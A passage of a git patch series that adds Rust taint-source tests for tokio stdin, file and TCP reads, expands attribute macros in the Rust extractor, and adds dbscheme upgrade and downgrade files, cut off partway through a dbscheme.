Alert[rust/summary/taint-sources] + while let Some(chunk) = reader_split.next_segment().await? { + sink(chunk); // $ MISSING: hasTaintFlow + } + } + + { + let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let mut lines = reader.lines(); + while let Some(line) = lines.next_line().await? { + sink(line); // $ hasTai + } + } + + Ok(()) +} + use std::fs; fn test_fs() -> Result<(), Box> { @@ -414,6 +495,12 @@ async fn main() -> Result<(), Box> { match test_io_stdin() { Ok(_) => println!("complete"), Err(e) => println!("error: {}", e), + } + + println!("test_tokio_stdin..."); + match futures::executor::block_on(test_tokio_stdin()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), }*/ println!("test_fs..."); From 809dd20f9d3772c420a16ab18fddb25893b76e2e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 10:56:47 +0100 Subject: [PATCH 004/535] Rust: Add source tests for tokio (file). --- .../dataflow/sources/TaintSources.expected | 2 +- .../library-tests/dataflow/sources/test.rs | 57 +++++++++++++++++++ 2 files changed, 58 insertions(+), 1 deletion(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 616195e5f311..6ce7eea13be6 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -46,4 +46,4 @@ | test.rs:451:21:451:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:452:21:452:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:460:21:460:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:471:16:471:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:522:16:522:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 084df8bb13f2..9347642820f0 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -466,6 +466,57 @@ fn test_io_file() -> std::io::Result<()> { Ok(()) } +async fn test_tokio_file() -> std::io::Result<()> { + // --- file --- + + let mut file = tokio::fs::File::open("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] + + { + let mut buffer = [0u8; 100]; + let _bytes = file.read(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + } + + { + let mut buffer = Vec::::new(); + let _bytes = file.read_to_end(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + } + + { + let mut buffer = String::new(); + let _bytes = file.read_to_string(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + } + + { + let mut buffer = [0; 100]; + file.read_exact(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + } + + // --- misc operations --- + + { + let mut buffer = String::new(); + let file1 = tokio::fs::File::open("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] + let file2 = tokio::fs::File::open("another_file.txt").await?; // $ MISSING: [rust/summary/taint-sources] + let mut reader = file1.chain(file2); + reader.read_to_string(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" hasTaintFlow="another_file.txt" + } + + { + let mut buffer = String::new(); + let file1 = tokio::fs::File::open("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] + let mut reader = file1.take(100); + reader.read_to_string(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + } + + Ok(()) +} + #[tokio::main] async fn main() -> Result<(), Box> { let case = std::env::args().nth(1).unwrap_or(String::from("1")).parse::().unwrap(); // $ Alert[rust/summary/taint-sources] @@ -515,5 +566,11 @@ async fn main() -> Result<(), Box> { Err(e) => println!("error: {}", e), } + println!("test_tokio_file..."); + match futures::executor::block_on(test_tokio_file()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + Ok(()) } From b57375aa91d66c08b193d33742e720fd529651cd Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 11:25:36 +0100 Subject: [PATCH 005/535] Rust: Add source tests for tcp (std and tokio). --- .../dataflow/sources/TaintSources.expected | 2 +- .../library-tests/dataflow/sources/test.rs | 111 ++++++++++++++++++ 2 files changed, 112 insertions(+), 1 deletion(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 6ce7eea13be6..e34f7bbcd249 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -46,4 +46,4 @@ | test.rs:451:21:451:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:452:21:452:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:460:21:460:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:522:16:522:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:621:16:621:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 9347642820f0..1dc573c5e3ac 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -517,6 +517,105 @@ async fn test_tokio_file() -> std::io::Result<()> { Ok(()) } +use std::net::ToSocketAddrs; + +async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { // Result<(), Box> + // using std::net to fetch a web page + let address = "example.com:80"; + + if case == 1 { + // create the connection + let mut stream = std::net::TcpStream::connect(address)?; + + // send request + let _ = stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n"); + + // read response + let mut buffer = vec![0; 32 * 1024]; + let _ = stream.read(&mut buffer); // $ MISSING: Alert[rust/summary/taint-sources] + + println!("data = {:?}", buffer); + sink(&buffer); // $ MISSING: hasTaintFlow + sink(buffer[0]); // $ MISSING: hasTaintFlow + + let buffer_string = String::from_utf8_lossy(&buffer); + println!("string = {}", buffer_string); + sink(buffer_string); // $ MISSING: hasTaintFlow + } else { + // create the connection + let sock_addr = address.to_socket_addrs().unwrap().next().unwrap(); + let mut stream = std::net::TcpStream::connect_timeout(&sock_addr, std::time::Duration::new(1, 0))?; + + // send request + let _ = stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n"); + + // read response + match case { + 2 => { + let mut reader = std::io::BufReader::new(stream).take(256); + let mut line = String::new(); + loop { + match reader.read_line(&mut line) { // $ MISSING: Alert[rust/summary/taint-sources] + Ok(0) => { + println!("end"); + break; + } + Ok(_n) => { + println!("line = {}", line); + sink(&line); // $ MISSING: hasTaintFlow + line.clear(); + } + Err(e) => { + println!("error: {}", e); + break; + } + } + } + } + 3 => { + let reader = std::io::BufReader::new(stream.try_clone()?).take(256); + for line in reader.lines() { // $ MISSING: Alert[rust/summary/taint-sources] + if let Ok(string) = line { + println!("line = {}", string); + sink(string); // $ MISSING: hasTaintFlow + } + } + } + _ => {} + } + } + + Ok(()) +} + +use tokio::io::AsyncWriteExt; + +async fn test_tokio_tcpstream() -> std::io::Result<()> { + // using tokio::io to fetch a web page + let address = "example.com:80"; + + // create the connection + println!("connecting to {}...", address); + let mut tokio_stream = tokio::net::TcpStream::connect(address).await?; + + // send request + tokio_stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n").await?; + + // read response + let mut buffer = vec![0; 32 * 1024]; + let n = tokio_stream.read(&mut buffer).await?; // $ MISSING: Alert[rust/summary/taint-sources] + + println!("data = {:?}", buffer); + sink(&buffer); // $ MISSING: hasTaintFlow + sink(buffer[0]); // $ MISSING: hasTaintFlow + + let buffer_string = String::from_utf8_lossy(&buffer[..n]); + println!("string = {}", buffer_string); + sink(buffer_string); // $ MISSING: hasTaintFlow + + Ok(()) +} + #[tokio::main] async fn main() -> Result<(), Box> { let case = std::env::args().nth(1).unwrap_or(String::from("1")).parse::().unwrap(); // $ Alert[rust/summary/taint-sources] @@ -572,5 +671,17 @@ async fn main() -> Result<(), Box> { Err(e) => println!("error: {}", e), } + println!("test_std_tcpstream..."); + match futures::executor::block_on(test_std_tcpstream(case)) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_tokio_tcpstream..."); + match futures::executor::block_on(test_tokio_tcpstream()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + Ok(()) } From 38397195a258208b819e2a4f313decf9745a3be5 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 11:36:00 +0100 Subject: [PATCH 006/535] Rust: Add further source test cases for tokio. --- .../dataflow/sources/TaintSources.expected | 22 ++++++------ .../dataflow/sources/options.yml | 1 + .../library-tests/dataflow/sources/test.rs | 36 +++++++++++++++++++ 3 files changed, 48 insertions(+), 11 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index e34f7bbcd249..5ae527c9ff74 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -36,14 +36,14 @@ | test.rs:278:46:278:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:285:46:285:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:291:46:291:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:384:31:384:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:389:31:389:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:394:22:394:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:400:22:400:25 | path | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:401:27:401:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:407:22:407:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:417:20:417:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:451:21:451:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:452:21:452:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:460:21:460:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:621:16:621:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:403:31:403:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:408:31:408:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:413:22:413:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:419:22:419:25 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:420:27:420:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:426:22:426:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:436:20:436:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:470:21:470:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:471:21:471:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:479:21:479:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:657:16:657:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/options.yml b/rust/ql/test/library-tests/dataflow/sources/options.yml index 9b4565f1e1ad..b48be615eb5f 100644 --- a/rust/ql/test/library-tests/dataflow/sources/options.yml +++ b/rust/ql/test/library-tests/dataflow/sources/options.yml @@ -7,3 +7,4 @@ qltest_dependencies: - http = { version = "1.2.0" } - tokio = { version = "1.43.0", features = ["full"] } - futures = { version = "0.3" } + - bytes = { version = "1.10.1" } diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 1dc573c5e3ac..71643f750ade 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -330,6 +330,25 @@ async fn test_tokio_stdin() -> Result<(), Box> { sink(&buffer); // $ MISSING: hasTaintFlow } + { + let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let v1 = stdin.read_u8().await?; + let v2 = stdin.read_i16().await?; + let v3 = stdin.read_f32().await?; + let v4 = stdin.read_i64_le().await?; + sink(v1); // $ MISSING: hasTaintFlow + sink(v2); // $ MISSING: hasTaintFlow + sink(v3); // $ MISSING: hasTaintFlow + sink(v4); // $ MISSING: hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut buffer = bytes::BytesMut::new(); + stdin.read_buf(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + // --- async reading from stdin (BufReader) --- { @@ -495,6 +514,23 @@ async fn test_tokio_file() -> std::io::Result<()> { sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" } + { + let v1 = file.read_u8().await?; + let v2 = file.read_i16().await?; + let v3 = file.read_f32().await?; + let v4 = file.read_i64_le().await?; + sink(v1); // $ MISSING: hasTaintFlow + sink(v2); // $ MISSING: hasTaintFlow + sink(v3); // $ MISSING: hasTaintFlow + sink(v4); // $ MISSING: hasTaintFlow + } + + { + let mut buffer = bytes::BytesMut::new(); + file.read_buf(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + // --- misc operations --- { From 49cf1739a4dcb1f5fea44459ca2a6cb32af261c0 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 17 Apr 2025 18:09:15 +0200 Subject: [PATCH 007/535] Rust: expand attribute macros --- rust/ast-generator/BUILD.bazel | 3 +- rust/ast-generator/src/main.rs | 18 +- .../{src => }/templates/extractor.mustache | 35 +- .../{src => }/templates/schema.mustache | 0 rust/codegen/BUILD.bazel | 1 + rust/codegen/codegen.sh | 4 +- .../downgrade.ql | 7 + .../old.dbscheme | 3606 +++++++++++++++++ .../rust.dbscheme | 3606 +++++++++++++++++ .../upgrade.properties | 4 + rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 12 +- rust/extractor/src/main.rs | 2 +- rust/extractor/src/translate/base.rs | 77 +- rust/extractor/src/translate/generated.rs | 2860 +++++++------ rust/ql/.generated.list | 64 +- rust/ql/.gitattributes | 16 + .../internal/generated/CfgNodes.qll | 10 - rust/ql/lib/codeql/rust/elements/Item.qll | 1 + .../ql/lib/codeql/rust/elements/MacroCall.qll | 1 - .../rust/elements/internal/generated/Item.qll | 15 +- .../elements/internal/generated/MacroCall.qll | 16 - .../internal/generated/ParentChild.qll | 11 +- .../rust/elements/internal/generated/Raw.qll | 12 +- rust/ql/lib/rust.dbscheme | 12 +- .../old.dbscheme | 3606 +++++++++++++++++ .../rust.dbscheme | 3606 +++++++++++++++++ .../upgrade.properties | 4 + .../attr_macro_expansion.rs | 2 + .../attribute_macro_expansion/options.yml | 2 + .../attribute_macro_expansion/test.expected | 2 + .../attribute_macro_expansion/test.ql | 6 + .../extractor-tests/generated/Const/Const.ql | 12 +- .../generated/Const/Const_getExpanded.ql | 7 + .../extractor-tests/generated/Enum/Enum.ql | 13 +- .../generated/Enum/Enum_getExpanded.ql | 7 + .../generated/ExternBlock/ExternBlock.ql | 9 +- .../ExternBlock/ExternBlock_getExpanded.ql | 7 + .../generated/ExternCrate/ExternCrate.ql | 9 +- .../ExternCrate/ExternCrate_getExpanded.ql | 7 + .../generated/Function/Function.ql | 15 +- .../Function/Function_getExpanded.ql | 7 + .../extractor-tests/generated/Impl/Impl.ql | 16 +- .../generated/Impl/Impl_getExpanded.ql | 7 + .../generated/MacroCall/MacroCall.ql | 12 +- .../generated/MacroDef/MacroDef.ql | 9 +- .../MacroDef/MacroDef_getExpanded.ql | 7 + .../generated/MacroRules/MacroRules.ql | 9 +- .../MacroRules/MacroRules_getExpanded.ql | 7 + .../generated/Module/Module.ql | 9 +- .../generated/Module/Module_getExpanded.ql | 7 + .../generated/Static/Static.ql | 13 +- .../generated/Static/Static_getExpanded.ql | 7 + .../generated/Struct/Struct.ql | 13 +- .../generated/Struct/Struct_getExpanded.ql | 7 + .../extractor-tests/generated/Trait/Trait.ql | 16 +- .../generated/Trait/Trait_getExpanded.ql | 7 + .../generated/TraitAlias/TraitAlias.ql | 13 +- .../TraitAlias/TraitAlias_getExpanded.ql | 7 + .../generated/TypeAlias/TypeAlias.ql | 14 +- .../TypeAlias/TypeAlias_getExpanded.ql | 7 + .../extractor-tests/generated/Union/Union.ql | 13 +- .../generated/Union/Union_getExpanded.ql | 7 + .../test/extractor-tests/generated/Use/Use.ql | 8 +- .../generated/Use/Use_getExpanded.ql | 7 + rust/schema/annotations.py | 3 +- 66 files changed, 16565 insertions(+), 1376 deletions(-) rename rust/ast-generator/{src => }/templates/extractor.mustache (66%) rename rust/ast-generator/{src => }/templates/schema.mustache (100%) create mode 100644 rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql create mode 100644 rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/old.dbscheme create mode 100644 rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/rust.dbscheme create mode 100644 rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties create mode 100644 rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/old.dbscheme create mode 100644 rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme create mode 100644 rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/upgrade.properties create mode 100644 rust/ql/test/extractor-tests/attribute_macro_expansion/attr_macro_expansion.rs create mode 100644 rust/ql/test/extractor-tests/attribute_macro_expansion/options.yml create mode 100644 rust/ql/test/extractor-tests/attribute_macro_expansion/test.expected create mode 100644 rust/ql/test/extractor-tests/attribute_macro_expansion/test.ql create mode 100644 rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.ql create mode 100644 rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.ql diff --git a/rust/ast-generator/BUILD.bazel b/rust/ast-generator/BUILD.bazel index 7d0105ac456d..24d429cbede9 100644 --- a/rust/ast-generator/BUILD.bazel +++ b/rust/ast-generator/BUILD.bazel @@ -46,8 +46,7 @@ codeql_rust_binary( ) + [":codegen"], aliases = aliases(), args = ["$(rlocationpath :rust.ungram)"], - compile_data = glob(["src/templates/*.mustache"]), - data = [":rust.ungram"], + data = [":rust.ungram"] + glob(["templates/*.mustache"]), proc_macro_deps = all_crate_deps( proc_macro = True, ), diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 8b8d7f5c593c..f4dbeca57a95 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -142,6 +142,7 @@ fn fix_blank_lines(s: &str) -> String { fn write_schema( grammar: &AstSrc, super_types: BTreeMap>, + mustache_ctx: &mustache::Context, ) -> mustache::Result { let mut schema = Schema::default(); schema.classes.extend( @@ -156,7 +157,7 @@ fn write_schema( .iter() .map(|node| node_src_to_schema_class(node, &super_types)), ); - let template = mustache::compile_str(include_str!("templates/schema.mustache"))?; + let template = mustache_ctx.compile_path("schema")?; let res = template.render_to_string(&schema)?; Ok(fix_blank_lines(&res)) } @@ -541,7 +542,7 @@ fn node_to_extractor_info(node: &AstNodeSrc) -> ExtractorNodeInfo { } } -fn write_extractor(grammar: &AstSrc) -> mustache::Result { +fn write_extractor(grammar: &AstSrc, mustache_ctx: &mustache::Context) -> mustache::Result { let extractor_info = ExtractorInfo { enums: grammar .enums @@ -550,7 +551,7 @@ fn write_extractor(grammar: &AstSrc) -> mustache::Result { .collect(), nodes: grammar.nodes.iter().map(node_to_extractor_info).collect(), }; - let template = mustache::compile_str(include_str!("templates/extractor.mustache"))?; + let template = mustache_ctx.compile_path("extractor")?; let res = template.render_to_string(&extractor_info)?; Ok(fix_blank_lines(&res)) } @@ -578,8 +579,13 @@ fn main() -> anyhow::Result<()> { let super_class_y = super_types.get(&y.name).into_iter().flatten().max(); super_class_x.cmp(&super_class_y).then(x.name.cmp(&y.name)) }); - let schema = write_schema(&grammar, super_types)?; - let schema_path = project_root().join("schema/ast.py"); + let root = project_root(); + let mustache_ctx = mustache::Context { + template_path: root.join("ast-generator").join("templates"), + template_extension: "mustache".to_string(), + }; + let schema = write_schema(&grammar, super_types, &mustache_ctx)?; + let schema_path = root.join("schema/ast.py"); codegen::ensure_file_contents( crate::flags::CodegenType::Grammar, &schema_path, @@ -587,7 +593,7 @@ fn main() -> anyhow::Result<()> { false, ); - let extractor = write_extractor(&grammar)?; + let extractor = write_extractor(&grammar, &mustache_ctx)?; let extractor_path = project_root().join("extractor/src/translate/generated.rs"); codegen::ensure_file_contents( crate::flags::CodegenType::Grammar, diff --git a/rust/ast-generator/src/templates/extractor.mustache b/rust/ast-generator/templates/extractor.mustache similarity index 66% rename from rust/ast-generator/src/templates/extractor.mustache rename to rust/ast-generator/templates/extractor.mustache index c83881027bb5..c4f8dbd983df 100644 --- a/rust/ast-generator/src/templates/extractor.mustache +++ b/rust/ast-generator/templates/extractor.mustache @@ -1,7 +1,5 @@ //! Generated by `ast-generator`, do not edit by hand. -¶{{! <- denotes empty line that should be kept, all blank lines are removed otherwise}} -#![cfg_attr(any(), rustfmt::skip)] -¶ + use super::base::Translator; use super::mappings::TextValue; use crate::emit_detached; @@ -11,30 +9,33 @@ use ra_ap_syntax::ast::{ HasArgList, HasAttrs, HasGenericArgs, HasGenericParams, HasLoopBody, HasModuleItem, HasName, HasTypeBounds, HasVisibility, RangeItem, }; -use ra_ap_syntax::{ast, AstNode}; -¶ +#[rustfmt::skip] +use ra_ap_syntax::{AstNode, ast}; + impl Translator<'_> { - fn emit_else_branch(&mut self, node: ast::ElseBranch) -> Option> { + fn emit_else_branch(&mut self, node: &ast::ElseBranch) -> Option> { match node { ast::ElseBranch::IfExpr(inner) => self.emit_if_expr(inner).map(Into::into), ast::ElseBranch::Block(inner) => self.emit_block_expr(inner).map(Into::into), } } {{#enums}} -¶ - pub(crate) fn emit_{{snake_case_name}}(&mut self, node: ast::{{ast_name}}) -> Option> { - match node { + + pub(crate) fn emit_{{snake_case_name}}(&mut self, node: &ast::{{ast_name}}) -> Option> { + let label = match node { {{#variants}} ast::{{ast_name}}::{{variant_ast_name}}(inner) => self.emit_{{snake_case_name}}(inner).map(Into::into), {{/variants}} - } + }?; + emit_detached!({{name}}, self, node, label); + Some(label) } {{/enums}} {{#nodes}} -¶ - pub(crate) fn emit_{{snake_case_name}}(&mut self, node: ast::{{ast_name}}) -> Option> { + + pub(crate) fn emit_{{snake_case_name}}(&mut self, node: &ast::{{ast_name}}) -> Option> { {{#has_attrs}} - if self.should_be_excluded(&node) { return None; } + if self.should_be_excluded(node) { return None; } {{/has_attrs}} {{#fields}} {{#predicate}} @@ -44,10 +45,10 @@ impl Translator<'_> { let {{name}} = node.try_get_text(); {{/string}} {{#list}} - let {{name}} = node.{{method}}().filter_map(|x| self.emit_{{snake_case_ty}}(x)).collect(); + let {{name}} = node.{{method}}().filter_map(|x| self.emit_{{snake_case_ty}}(&x)).collect(); {{/list}} {{#optional}} - let {{name}} = node.{{method}}().and_then(|x| self.emit_{{snake_case_ty}}(x)); + let {{name}} = node.{{method}}().and_then(|x| self.emit_{{snake_case_ty}}(&x)); {{/optional}} {{/fields}} let label = self.trap.emit(generated::{{name}} { @@ -56,9 +57,9 @@ impl Translator<'_> { {{name}}, {{/fields}} }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!({{name}}, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } {{/nodes}} diff --git a/rust/ast-generator/src/templates/schema.mustache b/rust/ast-generator/templates/schema.mustache similarity index 100% rename from rust/ast-generator/src/templates/schema.mustache rename to rust/ast-generator/templates/schema.mustache diff --git a/rust/codegen/BUILD.bazel b/rust/codegen/BUILD.bazel index e1b51ca36614..04d380f8cc3a 100644 --- a/rust/codegen/BUILD.bazel +++ b/rust/codegen/BUILD.bazel @@ -7,6 +7,7 @@ _args = [ "//rust/ast-generator:Cargo.toml", "//misc/codegen", "//rust:codegen-conf", + "@rules_rust//tools/rustfmt:upstream_rustfmt", ] sh_binary( diff --git a/rust/codegen/codegen.sh b/rust/codegen/codegen.sh index c1d160f314bd..2d415009aed8 100755 --- a/rust/codegen/codegen.sh +++ b/rust/codegen/codegen.sh @@ -9,7 +9,9 @@ grammar_file="$(rlocation "$2")" ast_generator_manifest="$(rlocation "$3")" codegen="$(rlocation "$4")" codegen_conf="$(rlocation "$5")" -shift 5 +rustfmt="$(rlocation "$6")" +shift 6 CARGO_MANIFEST_DIR="$(dirname "$ast_generator_manifest")" "$ast_generator" "$grammar_file" +"$rustfmt" "$(dirname "$ast_generator_manifest")/../extractor/src/translate/generated.rs" "$codegen" --configuration-file="$codegen_conf" "$@" diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql new file mode 100644 index 000000000000..562e773383f3 --- /dev/null +++ b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql @@ -0,0 +1,7 @@ +class Element extends @element { + string toString() { none() } +} + +query predicate new_macro_call_expandeds(Element id, Element expanded) { + item_expandeds(id, expanded) and macro_calls(id) +} diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/old.dbscheme b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/old.dbscheme new file mode 100644 index 000000000000..f78cb8f2ab3b --- /dev/null +++ b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/old.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + 